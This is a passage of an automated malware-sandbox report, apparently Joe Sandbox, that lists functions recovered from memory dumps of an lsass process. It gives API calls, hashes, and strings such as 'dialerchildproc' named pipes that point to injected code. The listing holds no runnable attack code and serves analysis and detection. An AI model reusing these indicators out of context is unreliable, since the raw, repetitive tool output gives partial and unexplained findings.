                                            Similarity
                                            • API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
                                            • String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
                                            • API String ID: 190073905-1786718095
                                            • Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
                                            • Instruction ID: 14de66892ba18830acab2e245ab1e6cb8a15d62160b2822f01b591de40b948de
                                            • Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
                                            • Instruction Fuzzy Hash: 1381EE31600701CAFB50AB66A4CD39D66E8EB85780F57842BAB48977B7DF3DC88D8700
                                            Function 00000202C0B4CE28 Relevance: 18.1, APIs: 12, Instructions: 112COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • GetLastError.KERNEL32 ref: 00000202C0B4CE37
                                            • FlsGetValue.KERNEL32(?,?,?,00000202C0B50A6B,?,?,?,00000202C0B5045C,?,?,?,00000202C0B4C84F), ref: 00000202C0B4CE4C
                                            • FlsSetValue.KERNEL32(?,?,?,00000202C0B50A6B,?,?,?,00000202C0B5045C,?,?,?,00000202C0B4C84F), ref: 00000202C0B4CE6D
                                            • FlsSetValue.KERNEL32(?,?,?,00000202C0B50A6B,?,?,?,00000202C0B5045C,?,?,?,00000202C0B4C84F), ref: 00000202C0B4CE9A
                                            • FlsSetValue.KERNEL32(?,?,?,00000202C0B50A6B,?,?,?,00000202C0B5045C,?,?,?,00000202C0B4C84F), ref: 00000202C0B4CEAB
                                            • FlsSetValue.KERNEL32(?,?,?,00000202C0B50A6B,?,?,?,00000202C0B5045C,?,?,?,00000202C0B4C84F), ref: 00000202C0B4CEBC
                                            • SetLastError.KERNEL32 ref: 00000202C0B4CED7
                                            • FlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000202C0B50A6B,?,?,?,00000202C0B5045C,?,?,?,00000202C0B4C84F), ref: 00000202C0B4CF0D
                                            • FlsSetValue.KERNEL32(?,?,00000001,00000202C0B4ECCC,?,?,?,?,00000202C0B4BF9F,?,?,?,?,?,00000202C0B47AB0), ref: 00000202C0B4CF2C
                                              • Part of subcall function 00000202C0B4D6CC: HeapAlloc.KERNEL32 ref: 00000202C0B4D721
                                            • FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000202C0B50A6B,?,?,?,00000202C0B5045C,?,?,?,00000202C0B4C84F), ref: 00000202C0B4CF54
                                              • Part of subcall function 00000202C0B4D744: HeapFree.KERNEL32 ref: 00000202C0B4D75A
                                              • Part of subcall function 00000202C0B4D744: GetLastError.KERNEL32 ref: 00000202C0B4D764
                                            • FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000202C0B50A6B,?,?,?,00000202C0B5045C,?,?,?,00000202C0B4C84F), ref: 00000202C0B4CF65
                                            • FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000202C0B50A6B,?,?,?,00000202C0B5045C,?,?,?,00000202C0B4C84F), ref: 00000202C0B4CF76
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245577181.00000202C0B40000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0B40000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0b40000_lsass.jbxd
                                            Similarity
                                            • API ID: Value$ErrorLast$Heap$AllocFree
                                            • String ID:
                                            • API String ID: 570795689-0
                                            • Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
                                            • Instruction ID: 2cdc79b8be68d16d60699a1a675998334f4061f55ae4612a1583d38688d983d1
                                            • Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
                                            • Instruction Fuzzy Hash: 7141C121340745C5FEA9E7F155DD32D22429B64FBCF1B0B27A83A476D7DE28AE4D8200
                                            Function 00000202C0AECE28 Relevance: 18.1, APIs: 12, Instructions: 112COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • GetLastError.KERNEL32 ref: 00000202C0AECE37
                                            • FlsGetValue.KERNEL32(?,?,?,00000202C0AF0A6B,?,?,?,00000202C0AF045C,?,?,?,00000202C0AEC84F), ref: 00000202C0AECE4C
                                            • FlsSetValue.KERNEL32(?,?,?,00000202C0AF0A6B,?,?,?,00000202C0AF045C,?,?,?,00000202C0AEC84F), ref: 00000202C0AECE6D
                                            • FlsSetValue.KERNEL32(?,?,?,00000202C0AF0A6B,?,?,?,00000202C0AF045C,?,?,?,00000202C0AEC84F), ref: 00000202C0AECE9A
                                            • FlsSetValue.KERNEL32(?,?,?,00000202C0AF0A6B,?,?,?,00000202C0AF045C,?,?,?,00000202C0AEC84F), ref: 00000202C0AECEAB
                                            • FlsSetValue.KERNEL32(?,?,?,00000202C0AF0A6B,?,?,?,00000202C0AF045C,?,?,?,00000202C0AEC84F), ref: 00000202C0AECEBC
                                            • SetLastError.KERNEL32 ref: 00000202C0AECED7
                                            • FlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000202C0AF0A6B,?,?,?,00000202C0AF045C,?,?,?,00000202C0AEC84F), ref: 00000202C0AECF0D
                                            • FlsSetValue.KERNEL32(?,?,00000001,00000202C0AEECCC,?,?,?,?,00000202C0AEBF9F,?,?,?,?,?,00000202C0AE7AB0), ref: 00000202C0AECF2C
                                              • Part of subcall function 00000202C0AED6CC: HeapAlloc.KERNEL32 ref: 00000202C0AED721
                                            • FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000202C0AF0A6B,?,?,?,00000202C0AF045C,?,?,?,00000202C0AEC84F), ref: 00000202C0AECF54
                                              • Part of subcall function 00000202C0AED744: HeapFree.KERNEL32 ref: 00000202C0AED75A
                                              • Part of subcall function 00000202C0AED744: GetLastError.KERNEL32 ref: 00000202C0AED764
                                            • FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000202C0AF0A6B,?,?,?,00000202C0AF045C,?,?,?,00000202C0AEC84F), ref: 00000202C0AECF65
                                            • FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000202C0AF0A6B,?,?,?,00000202C0AF045C,?,?,?,00000202C0AEC84F), ref: 00000202C0AECF76
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245368518.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd
                                            Similarity
                                            • API ID: Value$ErrorLast$Heap$AllocFree
                                            • String ID:
                                            • API String ID: 570795689-0
                                            • Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
                                            • Instruction ID: 4882f9c6545ddba956175daa0b1033055c58a1b9921f799def37e079ec50fdf9
                                            • Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
                                            • Instruction Fuzzy Hash: 754197603013C4D6FE68A73555DD36D2242AB44BB4F174B27ABBB077E7EE38886A4600
                                            Function 00000202C0B42244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52filethreadCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245577181.00000202C0B40000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0B40000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0b40000_lsass.jbxd
                                            Similarity
                                            • API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
                                            • String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
                                            • API String ID: 2171963597-1373409510
                                            • Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
                                            • Instruction ID: 008dbc35dcd28df123ba3ecaa6d45c164ec4b741ee261da0caa348c2525fb32f
                                            • Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
                                            • Instruction Fuzzy Hash: 73213832614B41C2FB10DB25E48C36E63A4F799BA9F550217EA9903AA9CF7CC949CB00
                                            Function 00000202C0AE2244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52filethreadCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245368518.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd
                                            Similarity
                                            • API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
                                            • String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
                                            • API String ID: 2171963597-1373409510
                                            • Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
                                            • Instruction ID: a0d3f3940cedbe8f49a02ff4fcf1ce97ef5dd93de91068aee362f87148ae0ba9
                                            • Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
                                            • Instruction Fuzzy Hash: 31213832614B40C2FB208B25E48C75E67A5F789BA4F514217EB9A03BA9CF3DC54DCB00
                                            Function 00000202C0AB9944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245272060.00000202C0AB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ab0000_lsass.jbxd
                                            Similarity
                                            • API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
                                            • String ID: csm$csm$csm
                                            • API String ID: 849930591-393685449
                                            • Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
                                            • Instruction ID: 181cfaa8d1e203509729981359315e3b225e44fdda2c096569e0a7ba0a0bf46d
                                            • Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
                                            • Instruction Fuzzy Hash: E5E17A72604B80CAFB60DB69D48839D7BA4F755B98F12011BEF8957B9ACB34C499C704
                                            Function 00000202C0B4A544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245577181.00000202C0B40000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0B40000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0b40000_lsass.jbxd
                                            Similarity
                                            • API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
                                            • String ID: csm$csm$csm
                                            • API String ID: 849930591-393685449
                                            • Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
                                            • Instruction ID: fc94518462626f888d8846af3be64f0efb4c56cc64aa87eac9decc31170b97bd
                                            • Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
                                            • Instruction Fuzzy Hash: 38E16B72604780CAFB60DFA5948839D77A4F765B9CF120117EE8967B9ACB34CA89C700
                                            Function 00000202C0AEA544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245368518.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd
                                            Similarity
                                            • API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
                                            • String ID: csm$csm$csm
                                            • API String ID: 849930591-393685449
                                            • Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
                                            • Instruction ID: dc69ca82dc18b6d9c62c9d97f6a4348578a3add946f7b447ab90ca90604d3949
                                            • Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
                                            • Instruction Fuzzy Hash: 12E16A72600B80CAFB60DB65948C39D77A4F7A6B98F120117EFA957B97CB34D4A9C700
                                            Function 00000202C0B4F394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245577181.00000202C0B40000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0B40000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0b40000_lsass.jbxd
                                            Similarity
                                            • API ID: AddressFreeLibraryProc
                                            • String ID: api-ms-$ext-ms-
                                            • API String ID: 3013587201-537541572
                                            • Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
                                            • Instruction ID: 4d0429e463cdcf790b333bae80d732790b8fc7ae5b9fddcec2d0db7aee47192f
                                            • Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
                                            • Instruction Fuzzy Hash: E741E622311B11D1FA57CBA6A88C75E2395F759BE8F0B45279D0D87786EE38CE4D8310
                                            Function 00000202C0AEF394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245368518.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd
                                            Similarity
                                            • API ID: AddressFreeLibraryProc
                                            • String ID: api-ms-$ext-ms-
                                            • API String ID: 3013587201-537541572
                                            • Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
                                            • Instruction ID: 26dcd2d441800ec49dab0db58e17c16847a3beddbc1f683c45a4dffa8db80317
                                            • Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
                                            • Instruction Fuzzy Hash: 2A41F422311B90D1FA16CB56A88C75E2395F748BA0F0A45279F6E877D6EE3DC45D8300
                                            Function 00000202C0B4104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245577181.00000202C0B40000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0B40000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0b40000_lsass.jbxd
                                            Similarity
                                            • API ID: Heap$Process$AllocEnumFreeInfoQueryValue
                                            • String ID: d
                                            • API String ID: 3743429067-2564639436
                                            • Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
                                            • Instruction ID: 99df361078cfd39b5a53b450fecf6a20a2520eab45679cb7f8f0db21186f57c2
                                            • Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
                                            • Instruction Fuzzy Hash: 1C414F33614B84C6F760CF61E48879E77A5F388B98F45812ADB8A17B59DF38C949CB40
                                            Function 00000202C0AE104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245368518.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd
                                            Similarity
                                            • API ID: Heap$Process$AllocEnumFreeInfoQueryValue
                                            • String ID: d
                                            • API String ID: 3743429067-2564639436
                                            • Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
                                            • Instruction ID: a80658ec44f4b8303e4c6cbc6e08df687ba0206d03e3ba62d1abb9220ce3f758
                                            • Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
                                            • Instruction Fuzzy Hash: B6415E73214B84C6F760CF21E48879E77A5F388B98F45822ADB8907B59DF39C599CB40
                                            Function 00000202C0B4D068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • FlsGetValue.KERNEL32(?,?,?,00000202C0B4C7DE,?,?,?,?,?,?,?,?,00000202C0B4CF9D,?,?,00000001), ref: 00000202C0B4D087
                                            • FlsSetValue.KERNEL32(?,?,?,00000202C0B4C7DE,?,?,?,?,?,?,?,?,00000202C0B4CF9D,?,?,00000001), ref: 00000202C0B4D0A6
                                            • FlsSetValue.KERNEL32(?,?,?,00000202C0B4C7DE,?,?,?,?,?,?,?,?,00000202C0B4CF9D,?,?,00000001), ref: 00000202C0B4D0CE
                                            • FlsSetValue.KERNEL32(?,?,?,00000202C0B4C7DE,?,?,?,?,?,?,?,?,00000202C0B4CF9D,?,?,00000001), ref: 00000202C0B4D0DF
                                            • FlsSetValue.KERNEL32(?,?,?,00000202C0B4C7DE,?,?,?,?,?,?,?,?,00000202C0B4CF9D,?,?,00000001), ref: 00000202C0B4D0F0
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245577181.00000202C0B40000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0B40000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0b40000_lsass.jbxd
                                            Similarity
                                            • API ID: Value
                                            • String ID: 1%$Y%
                                            • API String ID: 3702945584-1395475152
                                            • Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
                                            • Instruction ID: d231aa1d353db854b018b057b1d8bd56a7c0a04610d8b0695e9d3c6f40d33619
                                            • Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
                                            • Instruction Fuzzy Hash: F9119020704744C1FE69E7A559DE33E61419B647FCF1A4727A839477EBDE28CE4A8200
                                            Function 00000202C0AED068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • FlsGetValue.KERNEL32(?,?,?,00000202C0AEC7DE,?,?,?,?,?,?,?,?,00000202C0AECF9D,?,?,00000001), ref: 00000202C0AED087
                                            • FlsSetValue.KERNEL32(?,?,?,00000202C0AEC7DE,?,?,?,?,?,?,?,?,00000202C0AECF9D,?,?,00000001), ref: 00000202C0AED0A6
                                            • FlsSetValue.KERNEL32(?,?,?,00000202C0AEC7DE,?,?,?,?,?,?,?,?,00000202C0AECF9D,?,?,00000001), ref: 00000202C0AED0CE
                                            • FlsSetValue.KERNEL32(?,?,?,00000202C0AEC7DE,?,?,?,?,?,?,?,?,00000202C0AECF9D,?,?,00000001), ref: 00000202C0AED0DF
                                            • FlsSetValue.KERNEL32(?,?,?,00000202C0AEC7DE,?,?,?,?,?,?,?,?,00000202C0AECF9D,?,?,00000001), ref: 00000202C0AED0F0
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245368518.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd
                                            Similarity
                                            • API ID: Value
                                            • String ID: 1%$Y%
                                            • API String ID: 3702945584-1395475152
                                            • Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
                                            • Instruction ID: 363b9827668d8b761d31e44ad5a3e4dbf29d2bfe1cda884ffc1cc8260375dec9
                                            • Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
                                            • Instruction Fuzzy Hash: D111AB607043C4C6FE68973555DD37D6141AB447F4F1A4727EAFA077DBDE28C86A8600
                                            Function 00000202C0B47510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245577181.00000202C0B40000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0B40000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0b40000_lsass.jbxd
                                            Similarity
                                            • API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
                                            • String ID:
                                            • API String ID: 190073905-0
                                            • Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
                                            • Instruction ID: 82d5730b3bd781178e04ea6ea214ed563beb6a2d9171056f0756c27a91450d9f
                                            • Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
                                            • Instruction Fuzzy Hash: 7C81B160690741C6FA54EBEA94DD36D2291EB65B8CF5B48279A0847397DB38CF4DCF00
                                            Function 00000202C0AE7510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245368518.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd
                                            Similarity
                                            • API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
                                            • String ID:
                                            • API String ID: 190073905-0
                                            • Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
                                            • Instruction ID: 14979f1a24b322753f854ca5a4dead1d4ee237c3b69154d6c2c35d4c8e247c5d
                                            • Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
                                            • Instruction Fuzzy Hash: CE81F4617007C1C6FB54AB65A8CD39D2390BB85B84F174427EBE9477A7EB38CA6D8700
                                            Function 00000202C0B49DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245577181.00000202C0B40000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0B40000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0b40000_lsass.jbxd
                                            Similarity
                                            • API ID: Library$Load$AddressErrorFreeLastProc
                                            • String ID: api-ms-
                                            • API String ID: 2559590344-2084034818
                                            • Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
                                            • Instruction ID: 87e2d02121405d5361c2b6a95ffff34f0ff5d3ef441214c854b1118af53f8c05
                                            • Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
                                            • Instruction Fuzzy Hash: AD31E621352B40E1FE66DB82A48C76D2398B758BA8F5B05279D2D0B796DF39CA4D8304
                                            Function 00000202C0AE9DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245368518.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd
                                            Similarity
                                            • API ID: Library$Load$AddressErrorFreeLastProc
                                            • String ID: api-ms-
                                            • API String ID: 2559590344-2084034818
                                            • Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
                                            • Instruction ID: 93692ba9be4b391852265e8ab40df330be3080cd4f0ad2a801a0759650363b03
                                            • Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
                                            • Instruction Fuzzy Hash: A731A722212B80D1FE15DB42A48C75D2294B748BA0F5B49279FBE07792DF39C5AD8304
                                            Function 00000202C0B53DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245577181.00000202C0B40000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0B40000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0b40000_lsass.jbxd
                                            Similarity
                                            • API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
                                            • String ID: CONOUT$
                                            • API String ID: 3230265001-3130406586
                                            • Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
                                            • Instruction ID: cbbbceb24f5ce54632a83b901a10a48b25b1590716be8934f9ae3d7b08fea1b1
                                            • Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
                                            • Instruction Fuzzy Hash: AC115B21614F81C6F750CB52E89C31D66A4F788FE8F094267EA5E877A6CF38CD198740
                                            Function 00000202C0AF3DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245368518.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd
                                            Similarity
                                            • API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
                                            • String ID: CONOUT$
                                            • API String ID: 3230265001-3130406586
                                            • Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
                                            • Instruction ID: b26ab6e85d4882431b05eb7ffbdc71b03f0f6e90507cbc4b46897213533c190b
                                            • Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
                                            • Instruction Fuzzy Hash: 91116D22314B40C6F7508B52E89C71D77A4F788FE8F154227EA5E877A6CF39C8188744
                                            Function 00000202C0B43790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245577181.00000202C0B40000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0B40000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0b40000_lsass.jbxd
                                            Similarity
                                            • API ID: CurrentProcessProtectVirtual$HandleModule
                                            • String ID: wr
                                            • API String ID: 1092925422-2678910430
                                            • Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
                                            • Instruction ID: 3dd9236182729e1c9d45bc30feb16208763638e2466170d7b0defd25a75cf602
                                            • Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
                                            • Instruction Fuzzy Hash: CF113C26704B41C2FF54DB61E48C66DA3A4FB48B99F4A042BDE8907796EF3DCA09C704
                                            Function 00000202C0AE3790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245368518.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd
                                            Similarity
                                            • API ID: CurrentProcessProtectVirtual$HandleModule
                                            • String ID: wr
                                            • API String ID: 1092925422-2678910430
                                            • Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
                                            • Instruction ID: bcb637cd16c44afa16a89db43d108bf5c410f3b34640b7b1e1fa2b494dd30d53
                                            • Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
                                            • Instruction Fuzzy Hash: E1115726304B81C2FB149B21E48C26D72B4FB88B85F06412BDF99037AAEF3EC509C704
                                            Function 00000202C0B45B30 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245577181.00000202C0B40000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0B40000, based on PE: true
